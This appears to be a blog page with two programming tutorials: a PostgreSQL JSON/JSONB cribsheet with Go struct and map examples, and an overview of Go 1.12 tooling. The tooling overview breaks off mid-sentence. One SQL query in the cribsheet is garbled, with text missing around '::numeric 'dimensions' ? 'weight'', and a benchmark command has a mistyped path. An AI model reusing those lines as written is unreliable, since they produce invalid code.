  PostgreSQL provides two JSON-related data types that you can use — JSON and JSONB. The principal differences are: JSON stores an exact copy of the JSON input. JSONB stores a binary representation of the JSON input. This makes it slower to insert but faster to query. It may change the key order, and will remove whitespace and delete duplicate keys. JSONB also supports the ? (existence) and @> (containment) operators, whereas JSON doesn't. The PostgreSQL documentation recommends that you should generally use JSONB, unless you have a specific reason not too (like needing to preserve key order). Here's a cribsheet for the essential commands: -- Create a table with a JSONB column. CREATE TABLE items ( id SERIAL PRIMARY KEY, attrs JSONB ); -- You can insert any well-formed json input into the column. Note that only -- lowercase `true` and `false` spellings are accepted. INSERT INTO items (attrs) VALUES ('{ "name": "Pasta", "ingredients": ["Flour", "Eggs", "Salt", "Water"], "organic": true, "dimensions": { "weight": 500.00 } }'); -- Create an index on all key/value pairs in the JSONB column. CREATE INDEX idx_items_attrs ON items USING gin (attrs); -- Create an index on a specific key/value pair in the JSONB column. CREATE INDEX idx_items_attrs_organic ON items USING gin ((attrs->'organic')); -- The -> operator is used to get the value for a key. The returned value has -- the type JSONB. SELECT attrs->'dimensions' FROM items; SELECT attrs->'dimensions'->'weight' FROM items; -- Or you can use ->> to do the same thing, but this returns a TEXT value -- instead. SELECT attrs->>'dimensions' FROM items; -- You can use the returned values as normal, although you may need to type -- cast them first. SELECT * FROM items WHERE attrs->>'name' ILIKE 'p%'; SELECT * FROM items WHERE (attrs->'dimensions'->>'weight')::numeric 'dimensions' ? 'weight'; -- The ? operator can also be used to check for the existence of a specific -- text value in json arrays. SELECT * FROM items WHERE attrs->'ingredients' ? 'Salt'; -- Use @> to check if the JSONB column contains some specific json. This can -- be useful to filter for a specific key/value pair like so: SELECT * FROM items WHERE attrs @> '{"organic": true}'::jsonb; SELECT * FROM items WHERE attrs @> '{"dimensions": {"weight": 10}}'::jsonb; -- Note that @> looks for *containment*, not for an exact match. The -- followingquery will return records which have both "Flour" and "Water" -- as ingredients, rather than *only* "Flour" and "Water" as the ingredients. SELECT * FROM items WHERE attrs @> '{"ingredients": ["Flour", "Water"]}'::jsonb; For a full description of all available operators please see the official JSON Functions and Operators documentation. Using with Go If you're not familiar with the general patterns for working with SQL databases in Go, you might want to read my introduction to the database/sql package before continuing. Known JSON fields When the fields in a JSON/JSONB column are known in advance, you can map the contents of the JSON/JSONB column to and from a struct. To do this, you'll need make sure the struct implements: The driver.Valuer interface, such that it marshals the object into a JSON byte slice that can be understood by the database. The sql.Scanner interface, such that it unmarshals a JSON byte slice from the database into the struct fields. Here's a demonstration: package main import ( "database/sql" "database/sql/driver" "encoding/json" "errors" "log" _ "github.com/lib/pq" ) type Item struct { ID int Attrs Attrs } // The Attrs struct represents the data in the JSON/JSONB column. We can use // struct tags to control how each field is encoded. type Attrs struct { Name string `json:"name,omitempty"` Ingredients []string `json:"ingredients,omitempty"` Organic bool `json:"organic,omitempty"` Dimensions struct { Weight float64 `json:"weight,omitempty"` } `json:"dimensions,omitempty"` } // Make the Attrs struct implement the driver.Valuer interface. This method // simply returns the JSON-encoded representation of the struct. func (a Attrs) Value() (driver.Value, error) { return json.Marshal(a) } // Make the Attrs struct implement the sql.Scanner interface. This method // simply decodes a JSON-encoded value into the struct fields. func (a *Attrs) Scan(value interface{}) error { b, ok := value.([]byte) if !ok { return errors.New("type assertion to []byte failed") } return json.Unmarshal(b, &a) } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } // Initialize a new Attrs struct and add some values. attrs := new(Attrs) attrs.Name = "Pesto" attrs.Ingredients = []string{"Basil", "Garlic", "Parmesan", "Pine nuts", "Olive oil"} attrs.Organic = false attrs.Dimensions.Weight = 100.00 // The database driver will call the Value() method and and marshall the // attrs struct to JSON before the INSERT. _, err = db.Exec("INSERT INTO items (attrs) VALUES($1)", attrs) if err != nil { log.Fatal(err) } // Similarly, we can also fetch data from the database, and the driver // will call the Scan() method to unmarshal the data to an Attr struct. item := new(Item) err = db.QueryRow("SELECT id, attrs FROM items ORDER BY id DESC LIMIT 1").Scan(&item.ID, &item.Attrs) if err != nil { log.Fatal(err) } // You can then use the struct fields as normal... weightKg := item.Attrs.Dimensions.Weight / 1000 log.Printf("Item: %d, Name: %s, Weight: %.2fkg", item.ID, item.Attrs.Name, weightKg) } Unknown JSON fields The above pattern works great if you know in advance what keys and values your JSON/JSONB data will contain. And it has the major advantage of being type safe. For the times that you don't know this in advance (for example, the data contains user-generated keys and values) you can map the contents of the JSON/JSONB column to and from a map[string]interface{} instead. The big downside of this is that you will need to type assert any values that you retrieve from the database in order to use them. Here's the same example, but re-written to use a map[string]interface{}: package main import ( "database/sql" "database/sql/driver" "encoding/json" "errors" "log" _ "github.com/lib/pq" ) type Item struct { ID int Attrs Attrs } type Attrs map[string]interface{} func (a Attrs) Value() (driver.Value, error) { return json.Marshal(a) } func (a *Attrs) Scan(value interface{}) error { b, ok := value.([]byte) if !ok { return errors.New("type assertion to []byte failed") } return json.Unmarshal(b, &a) } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } item := new(Item) item.Attrs = Attrs{ "name": "Passata", "ingredients": []string{"Tomatoes", "Onion", "Olive oil", "Garlic"}, "organic": true, "dimensions": map[string]interface{}{ "weight": 250.00, }, } _, err = db.Exec("INSERT INTO items (attrs) VALUES($1)", item.Attrs) if err != nil { log.Fatal(err) } item = new(Item) err = db.QueryRow("SELECT id, attrs FROM items ORDER BY id DESC LIMIT 1").Scan(&item.ID, &item.Attrs) if err != nil { log.Fatal(err) } name, ok := item.Attrs["name"].(string) if !ok { log.Fatal("unexpected type for name") } dimensions, ok := item.Attrs["dimensions"].(map[string]interface{}) if !ok { log.Fatal("unexpected type for dimensions") } weight, ok := dimensions["weight"].(float64) if !ok { log.Fatal("unexpected type for weight") } weightKg := weight / 1000 log.Printf("%s: %.2fkg", name, weightKg) }

• An overview of Go's tooling
  Alex Edwards · Apr 15, 2019

  Occasionally I get asked “why do you like using Go?” And one of the things I often mention is the thoughtful tooling that exists alongside the language as part of the go command. There are some tools that I use everyday — like go fmt and go build — and others like go tool pprof that I only use to help solve a specific issue. But in all cases I appreciate the fact that they make managing and maintaining my projects easier. In this post I hope to provide a little background and context about the tools I find most useful, and importantly, explain how they can fit into the workflow of a typical project. I hope it'll give you a good start if you're new to Go. Or if you've been working with Go for a while, and that stuff's not applicable to you, hopefully you'll still discover a command or flag that you didn't know existed before : ) The information in this post is written for Go 1.12 and assumes that you're working on a project which has modules enabled. Installing Tooling Viewing Environment Information Development Running Code Fetching Dependencies Refactoring Code Viewing Go Documentation Testing Running Tests Profiling Test Coverage Stress Testing Testing all Dependencies Pre-Commit Checks Formatting Code Performing Static Analysis Linting Code Tidying and Verifying your Dependencies Build and Deployment Building an Executable Cross-Compilation Using Compiler and Linker Flags Diagnosing Problems and Making Optimizations Running and Comparing Benchmarks Profiling and Tracing Checking for Race Conditions Managing Dependencies Upgrading to a New Go Release Reporting Bugs Installing Tooling In this post I'll mainly be focusing on tools that are a part of the go command. But there are a few I'll be mentioning which aren't part of the standard Go 1.12 release. To install these while using Go 1.12 you'll first need to make sure that you're outside of a module-enabled directory (I usually just change into /tmp). Then you can use the GO111MODULE=on go get command to install the tool. For example: $ cd /tmp $ GO111MODULE=on go get golang.org/x/tools/cmd/stress This will download the relevant package and dependencies, build the executable and add it to your GOBIN directory. If you haven't explicitly set a GOBIN directory, then the executable will be added to your GOPATH/bin folder. Either way, you should make sure that the appropriate directory is on your system path. Note: This process is a bit clunky and will hopefully improve in future versions of Go. Issue 30515 is tracking the discussion about this. Viewing Environment Information You can use the go env tool to display information about your current Go operating environment. This can be particularly useful if you're working on an unfamiliar machine. $ go env GOARCH="amd64" GOBIN="" GOCACHE="/home/alex/.cache/go-build" GOEXE="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOOS="linux" GOPATH="/home/alex/go" GOPROXY="" GORACE="" GOROOT="/usr/local/go" GOTMPDIR="" GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64" GCCGO="gccgo" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build245740092=/tmp/go-build -gno-record-gcc-switches" If there are specific values that you're interested in, you can pass them as arguments to go env. For example: $ go env GOPATH GOOS GOARCH /home/alex/go linux amd64 To show documentation for all go env variables and values you can run: $ go help environment Development Running Code During development the go run tool is a convenient way to try out your code. It's essentially a shortcut that compiles your code, creates an executable binary in your /tmp directory, and then runs this binary in one step. $ go run . # Run the package in the current directory $ go run ./cmd/foo # Run the package in the ./cmd/foo directory Note: As of Go 1.11 you can pass the path of a package to go run, like we have above. This means that you no longer have to use workarounds like go run *.go wildcard expansion to run multiple files. I like this improvement a lot! Fetching Dependencies Assuming that you've got modules enabled, when you use go run (or go test or go build for that matter) any external dependencies will automatically (and recursively) be downloaded to fulfill the import statements in your code. By default the latest tagged release of the dependency will be downloaded, or if no tagged releases are available, then the dependency at the latest commit. If you know in advance that you need a specific version of a dependency (instead of the one that Go would fetch by default) you can use go get with the relevant version number or commit hash. For example: $ go get github.com/foo/bar@v1.2.3 $ go get github.com/foo/bar@8e1b8d3 If the dependency being fetched has a go.mod file, then its dependencies won't be listed in your go.mod file. In contrast, if the dependency you're downloading doesn't have a go.mod file, then it's dependencies will be listed in your go.mod file with an // indirect comment next to them. So that means your go.mod file doesn't necessarily show all the dependencies for your project in one place. Instead, you can view them all using the go list tool like so: $ go list -m all Sometimes you might wonder why is that a dependency? You can answer this with the go mod why command, which will show you the shortest path from a package in your main module to a given dependency. For example: $ go mod why -m golang.org/x/sys # golang.org/x/sys github.com/alexedwards/argon2id golang.org/x/crypto/argon2 golang.org/x/sys/cpu Note: The go mod why command will return an answer for most, but not all, dependencies. Issue 27900 is tracking this. If you're interested in analyzing or visualizing the dependencies for your application, then you might want to also check out the go mod graph tool. There's a great tutorial and example code for generating visualizations here. Lastly, downloaded dependencies are stored in the module cache located at GOPATH/pkg/mod. If you ever need to clear the module cache you can use the go clean tool. But be aware: this will remove the downloaded dependencies for all projects on your machine. $ go clean -modcache Refactoring Code Chances are you're probably familiar with using the gofmt tool to automatically format your code. But it also supports rewrite rules that you can use to help refactor your code. I'll demonstrate. Let's say that you have the following code and you want to change the foo variable to Foo so it is exported. var foo int func bar() { foo = 1 fmt.Println("foo") } To do this you can use gofmt with the -r flag to implement a rewrite rule, the -d flag to display a diff of the changes, and the -w flag to make the changes in place, like so: $ gofmt -d -w -r 'foo -> Foo' . -var foo int +var Foo int func bar() { - foo = 1 + Foo = 1 fmt.Println("foo") } Notice how this is smarter than a find-and-replace? The foo variable has been changed, but the "foo" string in the fmt.Println() statement has been left unchanged. Another thing to note is that the gofmt command works recursively, so the above command will run on all *.go files in your current directory and subdirectories. If you want to use this functionality, I recommend running rewrite rules without the -w flag first, and checking the diff first to make sure that the changes to the code are what you expect. Let's take a look at a slightly more complicated example. Say you want to update your code to use the new Go 1.12 strings.ReplaceAll() function instead of strings.Replace(). To make this change you can run: $ gofmt -w -r 'strings.Replace(a, b, c, -1) -> strings.ReplaceAll(a, b, c)' . In rewrite rules, single lowercase characters act as wildcards matching arbitrary expressions, and those expressions will be substituted-in in the replacement. Viewing Go Documentation You can view documentation for the standard library packages via your terminal using the go doc tool. I often use this during development to quickly check something — like the name or signature of a specific function. I find it faster than navigating the web-based documentation and it's always available offline too. $ go doc strings # View simplified documentation for the strings package $ go doc -all strings # View full documentation for the strings package $ go doc strings.Replace # View documentation for the strings.Replace function $ go doc sql.DB # View documentation for the database/sql.DB type $ go doc sql.DB.Query # View documentation for the database/sql.DB.Query method You can also include the -src flag to display the relevant Go source code. For example: $ go doc -src strings.Replace # View the source code for the strings.Replace function Testing Running Tests You can use the go test tool to run tests in your project like so: $ go test . # Run all tests in the current directory $ go test ./... # Run all tests in the current directory and sub-directories $ go test ./foo/bar # Run all tests in the ./foo/bar directory Typically I run my tests with Go's race detector enabled, which can help pick up some of the data races that might occur in real-life usage. Like so: $ go test -race ./... It's important to note that enabling the race detector will increase the overall running time of your tests. So if you're running tests very frequently part of a TDD workflow, you might prefer to save using this for a pre-commit test run only. Since 1.10, Go caches test results at the package-level. If a package hasn't changed between test runs — and you're using the same, cachable, flags for go test — then the cached test result will be displayed with a "(cached)" next to it. This is hugely helpful in speeding up the test runtime for large codebases. If you want force your tests to run in full (and avoid the cache) you can use the -count=1 flag, or clear all cached test results by using the go clean tool. $ go test -count=1 ./... # Bypass the test cache when running tests $ go clean -testcache # Delete all cached test results Note: Cached test results are stored alongside cached build results in your GOCACHE directory. Check go env GOCACHE if you're not sure where this is on your machine. You can limit go test to running specific tests (and sub-tests) by using the -run flag. This accepts a regular expression, and only tests which have names that match the regular expression will be run. I like to combine this with the -v flag to enable verbose mode, so the names of running tests and sub-tests are displayed. It's a useful way to make sure that I haven't screwed up the regexp and that the tests I expect are actually being run! $ go test -v -run=^TestFooBar$ . # Run the test with the exact name TestFooBar $ go test -v -run=^TestFoo . # Run tests whose names start with TestFoo $ go test -v -run=^TestFooBar$/^Baz$ . # Run the Baz subtest of the TestFooBar test only A couple more flags that it's good to be aware of are -short (which you can use to skip long-running tests) and -failfast (which will stop running further tests after the first failure). Note that -failfast will prevent test results from being cached. $ go test -short ./... # Skip long running tests $ go test -failfast ./... # Don't run further tests after a failure. Profiling Test Coverage You can enable coverage analysis when running tests by using the -cover flag. This will display the percentage of code covered by the tests in the output for each package, similar to this: $ go test -cover ./... ok github.com/alexedwards/argon2id 0.467s coverage: 78.6% of statements You can also generate a coverage profile using the -coverprofile flag and view it in your web browser by using the go tool cover -html command like so: $ go test -coverprofile=/tmp/profile.out ./... $ go tool cover -html=/tmp/profile.out This will gives you a navigable listing of all the test files, with code covered by the tests displayed in green, and uncovered code in red. If you want you can go a step further and set the -covermode=count flag to make the coverage profile record the exact number of times that each statement is executed during the tests. $ go test -covermode=count -coverprofile=/tmp/profile.out ./... $ go tool cover -html=/tmp/profile.out When viewed in the browser, statements which are executed more frequently are shown in a more saturated shade of green, similar to this: Note: If you’re using the t.Parallel() command in any of your tests, then you should use the flag -covermode=atomic instead of -covermode=count instead to ensure an accurate count. Lastly, if you don't have a web browser available to view a coverage profile, you can see a breakdown of test coverage by function/method in your terminal with the command: $ go tool cover -func=/tmp/profile.out github.com/alexedwards/argon2id/argon2id.go:77: CreateHash 87.5% github.com/alexedwards/argon2id/argon2id.go:96: ComparePasswordAndHash 85.7% ... Stress Testing You can use the go test -count command to run a test multiple times in succession, which can be useful if you want to check for sporadic or intermittent failures. For example: $ go test -run=^TestFooBar$ -count=500 . In this example, the TestFooBar test will be repeated 500 times in a row. But it's important to note that the test will be repeated in serial — even if it contains a t.Parallel() instruction. So if your test is doing something relatively slow, like making a round trip to a database, hard disk or the internet, running a large number of tests can take quite a long time. In that case you might want to use the stress tool to repeat the same test multiple times in parallel instead. You can install it like so: $ cd /tmp $ GO111MODULE=on go get golang.org/x/tools/cmd/stress To use the stress tool, you'll first need to compile a test binary for the specific package you want to test. You can do using the go test -c command. For example, to create a test binary for the package in your current directory: $ go test -c -o=/tmp/foo.test . In this example, the test binary will be outputted to /tmp/foo.test. You can then use the stress tool to execute a specific test in the test binary like so: $ stress -p=4 /tmp/foo.test -test.run=^TestFooBar$ 60 runs so far, 0 failures 120 runs so far, 0 failures ... Note: In the example above I've used the -p flag to restrict the number of parallel processes used by stress to 4. Without this flag, the tool will default to using a number of processes equal to runtime.NumCPU(). Testing all Dependencies Before you build an executable for release or deployment, or distribute your code publicly, you may want to run the go test all command: $ go test all This will run tests on all packages in your module and all dependencies — include testing test dependencies and the necessary standard library packages — and it can help validate that the exact versions of the dependencies being used are compatible with each other. This can take quite a long time to run, but the results cache well so any subsequent tests should be faster in the future. If you want, you could also use go test -short all to skip any long-running tests. Pre-Commit Checks Formatting Code Go provides two tools to automatically format your code according to the Go conventions: gofmt and go fmt. Using these helps keep your code consistent across your files and projects, and — if you use them before committing code — helps reduce noise when examining a diff between file versions. I like to use the gofmt tool with the following flags: $ gofmt -w -s -d foo.go # Format the foo.go file $ gofmt -w -s -d . # Recursively format all files in the current directory and sub-directories In these commands, the -w flag instructs the tool to rewrite files in place, the -s instructs the tool to apply simplifications to the code where possible, and the -d flag instructs the tool to output diffs of the changes (because I'm curious to see what is changed). If you want to only display the names of changed files, instead of diffs, you can swap this for the -l flag instead. Note: The gofmt command works recursively. If you pass it a directory like . or ./cmd/foo it'll format all .go files under the directory. The other formatting tool — go fmt — tool is a wrapper which essentially calls gofmt -l -w on a specified file or directory. You can use it like this: $ go fmt ./... Performing Static Analysis The go vet tool carries out static analysis of your code and warns you of things which might be wrong with your code but wouldn't be picked up by the compiler. Issues like unreachable code, unnecessary assignments and badly-formed build tags. You can use it like so: $ go vet foo.go # Vet the foo.go file $ go vet . # Vet all files in the current directory $ go vet ./... # Vet all files in the current directory and sub-directories $ go vet ./foo/bar # Vet all files in the ./foo/bar directory Behind the scenes, go vet runs a bunch of different analyzers which are listed here and you can disable specific ones on a case-by-case basis. For example to disable the composite analyzer you can use: $ go vet -composites=false ./... There are a couple of experimental analyzers in golang.org/x/tools which you might want to try: nilness (which checks for redundant or impossible nil comparisons) and shadow (which check for possible unintended shadowing of variables). If you want to use these, you'll need to install and run them separately. For example, to install nilness you would run: $ cd /tmp $ GO111MODULE=on go get golang.org/x/tools/go/analysis/passes/nilness/cmd/nilness And you can then use it like so: $ go vet -vettool=$(which nilness) ./... Note: when the -vettool flag is used it will only run the specified analyzer — all the other go vet analyzers won't be run. As a side note, since Go 1.10 the go test tool automatically executes a small, high-confidence, subset of the go vet checks before running any tests. You can turn this behavior off when running tests like so: $ go test -vet=off ./... Linting Code You can use the golint tool to identify style mistakes in your code. Unlike go vet, this isn't concerned with correctness of the code, but helps you to align your code with the style conventions in Effective Go and the Go CodeReviewComments. It's not part of the standard library, so you'll need to install it like so: $ cd /tmp $ GO111MODULE=on go get golang.org/x/lint/golint You can then run it as follows: $ golint foo.go # Lint the foo.go file $ golint . # Lint all files in the current directory $ golint ./... # Lint all files in the current directory and sub-directories $ golint ./foo/bar # Lint all files in the ./foo/bar directory Tidying and Verifying your Dependencies Before you commit any changes to your code I recommend running the following two commands to tidy and verify your dependencies: $ go mod tidy $ go mod verify The go mod tidy command will prune any unused dependencies from your go.mod and go.sum files, and update the files to include dependencies for all possible build tags/OS/architecture combinations (note: go run, go test, go build etc are ‘lazy' and will only fetch packages needed for the current build tags/OS/architecture). Running this before each commit will make it easier to determine which of your code changes were responsible for adding or removing which dependencies when looking at the version control history. I also recommend using the go mod verify command to check that the dependencies on your computer haven't accidentally (or purposely) been changed since they were downloaded and that they match the cryptographic hashes in your go.sum file. Running this helps ensure that the dependencies being used are the exact ones that you expect, and any build for that commit will be reproducible at a later point. Build and Deployment Building an Executable To compile a main package and create an executable binary you can use the go build tool. Typically I use it in conjunction with the -o flag, which let's you explicitly set the output directory and name of the binary like so: $ go build -o=/tmp/foo . # Compile the package in the current directory $ go build -o=/tmp/foo ./cmd/foo # Compile the package in the ./cmd/foo directory In these examples, go build will compile the specified package (and any dependent packages), then invoke the linker to generate an executable binary, and output this to /tmp/foo. It's important to note that, as of Go 1.10, the go build tool caches build output in the build cache. This cached output will be reused again in future builds where appropriate, which can significantly speed up the overall build time. This new caching behavior means that the old maxim of “prefer go install to go build to improve caching” no longer applies. If you're not sure where your build cache is, you can check by running the go env GOCACHE command: $ go env GOCACHE /home/alex/.cache/go-build Using the build cache comes with one important caveat — it does not detect changes to C libraries imported with cgo. So if your code imports a C library via cgo and you've made changes to it since the last build, you'll need to use the -a flag which forces all packages to be rebuilt. Alternatively, you could use go clean to purge the cache: $ go build -a -o=/tmp/foo . # Force all packages to be rebuilt $ go clean -cache # Remove everything from the build cache Note: Running go clean -cache will delete cached test results too. If you're interested in what go build is doing behind the scenes, you might like to use the following commands: $ go list -deps . | sort -u # List all packages that are used to build the executable $ go build -a -x -o=/tmp/foo . # Rebuild everything and show the commands that are run Finally, if you run go build on a non-main package, it will be compiled in a temporary location and again, the result will be stored in the build cache. No executable is produced. Cross-Compilation This is one of my favorite features of Go. By default go build will output a binary suitable for use on your current operating system and architecture. But it also supports cross-compilation, so you can generate a binary suitable for use on a different machine. This is particularly useful if you're developing on one operating system and deploying on another. You can specify the operating system and architecture that you want to create the binary for by setting the GOOS and GOARCH environment variables respectively. For example: $ GOOS=linux GOARCH=amd64 go build -o=/tmp/linux_amd64/foo . $ GOOS=windows GOARCH=amd64 go build -o=/tmp/windows_amd64/foo.exe . To see a list of all supported OS/architecture combinations you can run go tool dist list: $ go tool dist list aix/ppc64 android/386 android/amd64 android/arm android/arm64 darwin/386 darwin/amd64 ... Hint: You can use Go's cross-compilation to create WebAssembly binaries. For a bit more in-depth information about cross compilation I recommend reading this excellent post. Using Compiler and Linker Flags When building your executable you can use the -gcflags flag to change the behavior of the compiler and see more information about what it's doing. You can see a complete list of available compiler flags by running: $ go tool compile -help One flag that you might find interesting is -m, which triggers the printing of information about optimization decisions made during compilation. You can use it like this: $ go build -gcflags="-m -m" -o=/tmp/foo . # Print information about optimization decisions In the above example I used the -m flag twice to indicate that I want to print decision information two-levels deep. You can get simpler output by using just one. Also, as of Go 1.10, compiler flags only apply to the specific packages passed to go build — which in the example above is the package in the current directory (represented by .). If you want to print optimization decisions for all packages including dependencies can use this command instead: $ go build -gcflags="all=-m" -o=/tmp/foo . As of Go 1.11, you should find it easier to debug optimized binaries than before. However, you can still use the flags -N to disable optimizations and -l to disable inlining if you need to. For example: $ go build -gcflags="all=-N -l" -o=/tmp/foo . # Disable optimizations and inlining You can see a list of available linker flags by running: $ go tool link -help Probably the most well-known of these is the -X flag, which allows you to "burn in" a (string) value to a specific variable in your application. This is commonly used to add a version number or commit hash. For example: $ go build -ldflags="-X main.version=1.2.3" -o=/tmp/foo . For more information about the -X flag and some sample code see this StackOverflow question and this post and this post. You may also be interested in using the -s and -w flags to strip debugging information from the binary. This typically shaves about 25% off the final size. For example: $ go build -ldflags="-s -w" -o=/tmp/foo . # Strip debug information from the binary Note: If binary size is something that you need to optimize for you might want to use upx to compress it. See this post for more information. Diagnosing Problems and Making Optimizations Running and Comparing Benchmarks A nice feature of Go is that it makes it easy to benchmark your code. If you're not familiar with the general process for writing benchmarks there are good guides here and here. To run benchmarks you'll need to use the go test tool, with the -bench flag set to a regular expression that matches the benchmarks you want to execute. For example: $ go test -bench=. ./... # Run all benchmarks and tests $ go test -run=^$ -bench=. ./... # Run all benchmarks (and no tests) $ go test -run=^$ -bench=^BenchmarkFoo$ ./... # Run only the BenchmarkFoo benchmark (and no tests) I almost always run benchmarks using the -benchmem flag, which forces memory allocation statistics to be included in the output. $ go test -bench=. -benchmem ./... By default, each benchmark test will be run for a minimum of 1 second, once only. You can change this with the -benchtime and -count flags: $ go test -bench=. -benchtime=5s ./... # Run each benchmark test for at least 5 seconds $ go test -bench=. -benchtime=500x /.... # Run each benchmark test for exactly 500 iterations $ go test -bench=. -count=3 ./... # Repeat each benchmark test 3 times over If the code that you're benchmarking uses concurrency, you can use the -cpu flag to see the performance impact of changing your GOMAXPROCS value (essentially, the number of OS threads that can execute your Go code simultaneously). For example, to run benchmarks with GOMAXPROCS set to 1, 4 and 8: $ go test -bench=. -cpu=1,4,8 ./... To compare changes between benchmarks you might want to use the benchcmp tool. This isn't part of the standard go command, so you'll need to install it like so: $ cd /tmp $ GO111MODULE=on go get golang.org/x/tools/cmd/benchcmp You can then use it like this: $ go test -run=^$ -bench=. -benchmem ./... > /tmp/old.txt # make changes $ go test -run=^$ -bench=. -benchmem ./... > /tmp/new.txt $ benchcmp /tmp/old.txt /tmp/new.txt benchmark old ns/op new ns/op delta BenchmarkExample-8 21234 5510 -74.05% benchmark old allocs new allocs delta BenchmarkExample-8 17 11 -35.29% benchmark old bytes new bytes delta BenchmarkExample-8 8240 3808 -53.79% Profiling and Tracing Go makes it possible to create diagnostic profiles for CPU use, memory use, goroutine blocking and mutex contention. You can use these to dig a bit deeper and see exactly how your application is using (or waiting on) resources. There are three ways to generate profiles: If you have a web application you can import the net/http/pprof package. This will register some handlers with the http.DefaultServeMux which you can then use to generate and download profiles for your running application. This post provides a good explanation and some sample code. For other types of applications, you can profile your running application using the pprof.StartCPUProfile() and pprof.WriteHeapProfile() functions. See the runtime/pprof documentation for sample code. Or you can generate profiles while running benchmarks or tests by using the various -***profile flags like so: $ go test -run=^$ -bench=^BenchmarkFoo$ -cpuprofile=/tmp/cpuprofile.out . $ go test -run=^$ -bench=^BenchmarkFoo$ -memprofile=/tmp/memprofile.out . $ go test -run=^$ -bench=^BenchmarkFoo$ -blockprofile=/tmp/blockprofile.out . $ go test -run=^$ -bench=^BenchmarkFoo$ -mutexprofile=/tmp/mutexprofile.out . Note: Using the -***profile flags when running benchmarks or tests will result in a test binary being outputted to your current directory. If you want to output this to an alternative location you should use the -o flag like so: $ go test -run=^$ -bench=^BenchmarkFoo$ -o=/tmp/foo.test -cpuprofile=/tmp/cpuprofile.out . Whichever way you choose to create a profile, when profiling is enabled your Go program will stop about 100 times per second and take a snapshot at that moment in time. These samples are collected together to form a profile that you can analyze using the pprof tool. My favourite way to inspect a profile is to use the go tool pprof -http command to open it in a web browser. For example: $ go tool pprof -http=:5000 /tmp/cpuprofile.out This will default to displaying a graph showing the execution tree for the sampled aspects of your application, which makes it possible to quickly get a feel for any resource usage 'hotspots'. In the graph above, we can see that the hotspots in terms of CPU usage are two system calls originating from ioutil.ReadFile(). You can also navigate to other views of the profile including top usage by function and source code. If the amount of information is overwhelming, you might want to use the --nodefraction flag to ignore nodes that account for less than a certain percentage of samples. For example to ignore nodes that use appear in less than 10% of samples you can run pprof like so: $ go tool pprof --nodefraction=0.1 -http=:5000 /tmp/cpuprofile.out This makes the graph a lot less 'noisy' and if you zoom in on this screenshot, it's now much clearer to see and understand where the CPU usage hotspots are. Profiling and optimizing resource usage is big, nuanced, topic and I've barely scratched the surface here. If you're interested in knowing more then I encourage you to read the following blog posts: Profiling and optimizing Go web applications Debugging performance issues in Go programs Daily code optimization using benchmarks and profiling Profiling Go programs with pprof Another tool that you can use to help diagnose issues is the runtime execution tracer. This gives you a view of how Go is creating and scheduling goroutines to run, when the garbage collector is running, and information about blocking syscall/network/sync operations. Again, you can generate trace from your tests or benchmarks, or use net/http/pprof to create and download a trace for your web application. You can then use go tool trace to view the output in your web browser like so: $ go test -run=^$ -bench=^BenchmarkFoo$ -trace=/tmp/trace.out . $ go tool trace /tmp/trace.out Important: This is currently only viewable in Chrome/Chromium. For more information about Go's execution tracer and how to interpret the output please see Rhys Hiltner's dotGo 2016 talk and this excellent blog post. Checking for Race Conditions I talked earlier about enabling Go's race detector during tests by using go test -race. But you can also enable it for running programs when building a executable, like so: $ go build -race -o=/tmp/foo . It's critical to note that race-detector-enabled binaries will use more CPU and memory than normal, so you shouldn't use the -race flag when building binaries for production under normal circumstances. But you may want to deploy a race-detector-enabled binary on one server within a pool of many. Or use it to help track down a suspected race-condition by using a load-test tool to throw traffic concurrently at a race-detector-enabled binary. By default, if any races are detected while the binary is running a log will be written to stderr. You can change this by using the GORACE environment variable if necessary. For example, to run the binary located at /tmp/foo and output any race logs to /tmp/race. you can use: $ GORACE="log_path=/tmp/race" /tmp/foo Managing Dependencies You can use the go list tool to check whether a specific dependency has a newer version available like so: $ go list -m -u github.com/alecthomas/chroma github.com/alecthomas/chroma v0.6.2 [v0.6.3] This will output the dependency name and version that you're currently using, followed by the latest version in square brackets [], if a newer one exists. You can also use go list to check for updates to all dependencies (and sub-dependencies) like so: $ go list -m -u all You can upgrade (or downgrade) a dependency to the latest version, specific tagged-release or commit hash with the go get command like so: $ go get github.com/foo/bar@latest $ go get github.com/foo/bar@v1.2.3 $ go get github.com/foo/bar@7e0369f If the dependency you're updating has a go.mod file, then based on the information in this go.mod file, updates to any sub-dependencies will also be downloaded if necessary. If you use the go get -u flag, the contents of the go.mod file will be ignored and all sub-dependencies will be upgraded to their latest minor/patch version… even if the go.mod specifies a different version. After upgrading or downgrading any dependencies it's a good idea to tidy your modfiles. And you might also want to run the tests for all packages to help check for incompatibilities. Like so: $ go mod tidy $ go test all Occasionally you might want to use a local version of a dependency (for example, you need to use a local fork until a patch is merged upstream). To do this, you can use the go mod edit command to replace a dependency in your go.mod file with a local version. For example: $ go mod edit -replace=github.com/alexedwards/argon2id=/home/alex/code/argon2id This will add a replace rule to your go.mod file like so, and any future invocations of go run, go build etc will use the local version. File: go.mod module alexedwards.net/example go 1.12 require github.com/alexedwards/argon2id v0.0.0-20190109181859-24206601af6c replace github.com/alexedwards/argon2id => /home/alex/Projects/playground/argon2id Once it's no longer necessary, you can remove the replace rule with the command: $ go mod edit -dropreplace=github.com/alexedwards/argon2id You can use the same general technique to import packages that exist only on your own file system. This can be useful if you're working on multiple modules in development at the same time, one of which depends on the other. Note: If you don't want to use the go mod edit command, you can edit your go.mod file manually to make these changes. Either way will work. Upgrading to a New Go Release The go fix tool was originally released back in 2011 (when regular changes were still being made to Go's API) to help users automatically update their old code to be compatible with the latest version of Go. Since then, Go's compatibility promise means if you're upgrading from one Go 1.x version to a newer 1.x version everything should Just Work and using go fix should generally be unnecessary. However, there are a handful of very specific issues that it does deal with. You can see a summary of them by running go tool fix -help. If you decide that you want or need to run go fix after upgrading, you should you run the following command, then inspect a diff of the changes before you commit them. $ go fix ./... Reporting Bugs If you're confident that you've found an unreported issue with Go's standard library, tooling or documentation, you 